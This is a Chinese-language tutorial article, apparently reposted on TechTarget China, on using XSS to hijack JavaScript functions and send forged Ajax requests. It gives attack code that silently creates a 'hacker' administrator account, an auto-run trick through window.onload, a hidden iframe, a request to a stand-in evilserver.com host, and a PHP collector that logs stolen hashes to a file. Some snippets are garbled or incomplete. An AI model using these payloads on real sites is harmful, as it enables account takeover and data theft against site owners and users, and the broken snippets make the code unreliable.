大多数人因为两个原因而认为xss漏洞不够强大。其中一个原因:可能你只能利用它来盗取cookie,而另一个原因则是:你(错误地)认为(利用)它需要目标点击特定的连接或者访问特定的网站。在这篇文章中我将要证明利用xss漏洞能做比盗取cookie多得多的事情,即使你仍然需要目标去点击特定的链接。一种被称为Ajax的新技术正在网络中蔓延。Ajax技术允许你利用javascript来发送HTTP请求。一个简单的没有ajax功能的网站是像这样的(工作模式):
客户端请求 -à 服务器响应 -à 返回内容 -à 客户端
而ajax的(工作模式)类似于:
客户端请求 -à javascript -à 服务器响应 -à 数据 -à javascript处理
我将以展示怎样利用xss漏洞劫持javascript函数为开头,(进而)我们将看到网站过于信任javascript而造成的影响以及利用这种技术(达到的)各种可能性。
在我们开始之前,你必须做几件事:
设置magic_quotes_gpc = off
允许javascript在你的浏览器中执行
从我的网站上下载这些例子(有这样打广告的??)
1. 利用xss劫持javascript
让我们清晰的了解它,这是一个有xss漏洞的php网页代码:
这里还有一个javascript脚本文件,代码为:
function Hello()
{
alert(”Hi there”);
}
这非常简单,我们拥有一个包含一个按钮的网页,当点击这个按钮就会弹出一个对话框“Hi there”。
Ok,现在我们在点击一下我们的按钮,发生了什么?我们没有得到“Hi there”,而得到了“hijacked”!这意味着我们能利用xss漏洞劫持javascript代码,当用户调用函数时回执行我们的代码而并非原来的。
好,我们已经知道了在url中重建javascript函数,但是如果你需要重建很多函数,通过url这样做会使你完蛋的。所以让我们重建一个新的javascript文件来包含我们需要的一切。
function Hello()
{
alert(”Hijack from remote”);
}
然后我们像这样提交url:
让后我们再次点击我们的按钮发生了什么?“Hijack from remote”! Ok,(到此为止)我们知道了怎样正确的劫持javascript函数。
2. 利用Ajax做更多的事:XMLHttpRequest的高级运用实例
为了演示这个技术我编写了一个适用于教学的实例,(请)到我的网站下载。我将会应用它的部分代码并且解释他们。它是一个简单的管理员用来添加新管理员或者在博客上发布消息的控制面板。在页面add_message.php?author=[xss]有一个xss漏洞,这是我们将用来攻击的地方!
我编写了一个轻量级的exploit来劫持javascript函数,代码为:
function createRequest()
{
var xmlHttp;
if(window.ActiveXObject)
{
xmlHttp = new ActiveXObject(”Microsoft.XMLHTTP”);
}
else if(window.XMLHttpRequest)
{
xmlHttp = new XMLHttpRequest();
}
return xmlHttp;
}
function validateForm()
{
var xmlHttp;
xmlHttp = createRequest();
url = “add_admin.php?login=hacker&password=hacker&email= hacker”;
xmlHttp.open(”GET”, url, true);
xmlHttp.send(null);
document.location = “add_message.php”;
}
非常好,要利用这个漏洞我们需要管理员访问这个url:
http://[host]/add_message?author=http://[host]/?xss=
当他点击提交按钮时我们的恶意代码会添加一个账户密码都为“hacker”的用户到数据库里。我们能使目标运行我们的恶意代码!但任然需要用户点击按钮……
3. 自动执行
上面的例子总是需要目标点击一个按钮来完成我们的攻击。这里有一个解决(方案)给你:
window.onload = function i
nitHijack()
{
[…]
}
我们的攻击将会在目标点击特定链接后自动完成。你也能在目标关闭页面时执行一些javascript代码:
window.unload = function initHijack()
{
[…]
}
4. Ajax代码模板
这里有一些基本的样例代码能应付你编写javascript exploit:
GET 请求:
var url = “page.php?param1=value1?m2=value2”;
http.open(”GET”, url, true);
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
alert(http.responseText);
}
}
http.send(null);
POST 请求:
var url = “page.php”;
var params = “param1=value1?m2=value2”;
http.open(”POST”, url, true);
http.setRequestHeader(”Content-type”, “application/x-www-form-urlencoded”);
http.setRequestHeader(”Content-length”, params.length);
http.setRequestHeader(”Connection”, “close”);
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
alert(http.responseText);
}
}
http.send(params);
提示:在POST请求里,你必须设置一些HTTP头信息。(另外,)使用open()发送GET请求。
function RemoteGetWithOpen()
{
open(”http://www.evilserver.com/ajaxhack/evil.php?param1=value1?m2=value2“);
}
利用iframe发送GET请求
function CreateAbritraryIframe()
{
;
// we hide it
var attribut_visibility = document.createAttribute(”style”);
attribut_visibility.nodeValue = “visibility:hidden;”;
objIframe.setAttributeNode(attribut_visibility);
// we set a name to our frame
var attribut_name = document.createAttribute(”name”);
attribut_name.nodeValue = “exploit”;
objIframe.setAttributeNode(attribut_name);
objBody.appendChild(objIframe);
return true;
}
到了这里你应该能理解javascript要做什么,但我还是要啰嗦一点:脚本发送一个http请求来攻击某个Sql注入漏洞,当获取数据后提交给我们服务器上的代码输出成文件。代码如下:
if(isset($_GET[‘page’]))
{
$content = file_get_contents($_GET[‘page’]);
$open = fopen(”hash.txt”, “a+”);
fwrite($open, $content);
fclose($open);
}
我们一直都在努力坚持原创.......请不要一声不吭,就悄悄拿走。
我原创,你原创,我们的内容世界才会更加精彩!
【所有原创内容版权均属TechTarget,欢迎大家转发分享。但未经授权,严禁任何媒体(平面媒体、网络媒体、自媒体等)以及微信公众号复制、转载、摘编或以其他方式进行使用。】
微信公众号
TechTarget
官方微博
TechTarget中国
相关推荐
-
新libSSH漏洞可获取服务器root访问权限
隐蔽近五年的libSSH漏洞可让恶意攻击者通过SSH服务器进程轻松获取对设备的管理控制。 NCC集团安全顾问P […]
-
“Redirect to SMB”漏洞影响所有版本的Windows
新的“Redirect to SMB(重定向到SMB协议)”漏洞是18年前发现的一个漏洞的变种,可导致所有版本的Windows遭受中间人攻击。
-
识别漏洞与缺陷 更好的进行安全管理
现在软件安全市场中的大部分重点都放在发现和修复漏洞上,但其实软件设计和架构中的缺陷问题也占据很大比率。
-
Android设备上如何阻止VPN绕过漏洞和恶意应用?
在Android设备中出现VPN绕过漏洞允许恶意应用通过VPN并重定向数据的情况,那么在补丁发布前,该如何阻止这种情况发生?